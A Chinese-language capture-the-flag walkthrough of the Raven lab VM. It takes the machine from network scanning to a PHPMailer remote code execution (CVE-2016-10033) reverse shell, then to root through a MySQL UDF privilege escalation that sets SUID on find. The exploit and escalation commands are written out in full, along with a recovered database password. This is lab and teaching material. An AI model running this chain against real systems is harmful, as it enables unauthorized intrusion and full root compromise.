先用nmap把内网的靶机扫出来nmap -sn 192.168.199.1-254

再来一个端口扫描nmap -sS -sV -T5 -A -p- 192.168.199.134

能看到端口22,80,111,48744是打开的
先浏览器访问一下80端口

浏览了一圈没发现什么
目录扫描一下dirsearch -u 192.168.199.134
扫出了/js /css /vendor /wordpress
从上往下一个一个的访问,访问到/vendor 时,返回了/vendor 的目录索引

在PATH下找到第一个flag

flag1{a2c1f66d2b8051bd3a5874b5b6e43e21}
目录索引里有PHPMailerAutoload.php,应该是安装了PHPMailer

这里写一下什么是PHPMailer
PHPMailer 是一个广泛使用的PHP库,用于发送电子邮件。它提供了一种简单而强大的方式来使用PHP发送邮件,并支持许多功能,如:
- SMTP:支持通过SMTP服务器发送邮件,这使得邮件发送更为可靠和专业。
- HTML邮件:允许发送带有HTML内容的邮件,支持丰富的文本格式和嵌入图片。
- 附件:可以方便地添加文件附件到邮件中。
- 多语言支持:支持多种语言的邮件内容和错误信息。
- 安全性:支持SSL和TLS加密,确保邮件传输的安全性。
- 定制化:可以设置发件人、收件人、主题、正文等多种邮件属性。
PHPMailer 是许多PHP项目中常用的邮件发送解决方案,因为它比PHP内置的mail()
函数更为灵活和功能丰富。
点击VERSION,看到PHPMailer的版本为5.2.16

搜索引擎搜索能看到这个版本有远程执行代码漏洞PHPMailer远程命令执行漏洞复现_phpmailer 5.2.10-CSDN博客,但是没找到PHPMailer的访问端口,作罢
直接搜索PHPMailer 5.2.16 exp,找到了一个exp,PHPMailer < 5.2.18 - Remote Code Execution - PHP webapps Exploit (exploit-db.com),wordpress的CVE-2016-10033WordPress <= 4.6 命令执行漏洞(PHPMailer)(CVE-2016-10033)复现分析 - 先知社区 (aliyun.com) ,通过邮件漏洞进行反弹shell
在kali里面找exp脚本,searchsploit 40974

复制到桌面,cp /usr/share/exploitdb/exploits/php/webapps/40974.py /root/桌面
然后去访问一下/wordpress ,发现重定向到了一个网址raven.local

应该是要本地ip绑定域名进行访问,修改hosts文件

访问raven.local/wordpress ,进入到wordpress的主界面

邮件服务在 /contact.php 下

编辑脚本,修改为对应的参数

先监听到本地的4444端口nc -lvp 4444
再执行exppython3 40974.py

先访问http://192.168.199.134/contact.php 去生成后门文件test.php 再去访问http://192.168.199.134/test.php 进行反弹shell

执行

进行提权
使用find / -name flag*
查找flag,找到了flag2.txt和flag3.png

cat /var/www/flag2.txt //查看flag2

flag2{6a8ed560f0b5358ecf844108048eb337}
浏览器访问http://raven.local/wordpress/wp-content/uploads/2018/11/flag3.png 查看flag3

cd /var/www/html/wordpress 跟进带wp目录下,cat wp-config.php 查看wp的配置文件,拿到数据库的数据库名和密码

ps -aux | grep root
能看到mysql是以root权限运行的

那就要想想数据库提权了
dpkg -l | grep mysql
查看mysql的历史安装包版本

mysql版本为5.5.6
udf提权
kali查找udf的脚本

复制到桌面进行编译
gcc -g -c 1518.c
gcc -g -shared -o icepeak.so 1518.o -lc
python -m http.server 8081 本地拉起http服务使用wget命令讲编译好的.so文件上传到靶机
mysql -uroot -pR@v3nSecurity 连接数据库
show global variables like 'secure%'; 查看是否具有写入权限
有读写权限
use mysql;
进入数据库
create table foo(line blob);
创建数据表foo
insert into foo values(load_file('/var/www/html/wordpress/icepeak.so'));
插入数据
select * from foo into dumpfile '/usr/lib/mysql/plugin/icepeak.so';
( Foo表成功插入二进制数据,然后利用dumpfile函数把文件导出outfile 多行导出,dumpfile一行导出
outfile会有特殊的转换,而dumpfile是原数据导出新建存储函数)
create function do_system returns integer soname 'icepeak.so';
(创建自定义函数do_system 类型是integer,别名soname文件名字然后查询函数是否创建成功)
select * from mysql.func;
select do_system('chmod u+s /usr/bin/find');
(调用do_system函数来给find命令所有者的suid权限,使其可以执行root命令)
quit

使用/usr/bin/find提权找flag

权限已经为root

得到flag4
flag4{df2bc5e951d91581467bb9a2a8ff4425}
参考文档
Comments NOTHING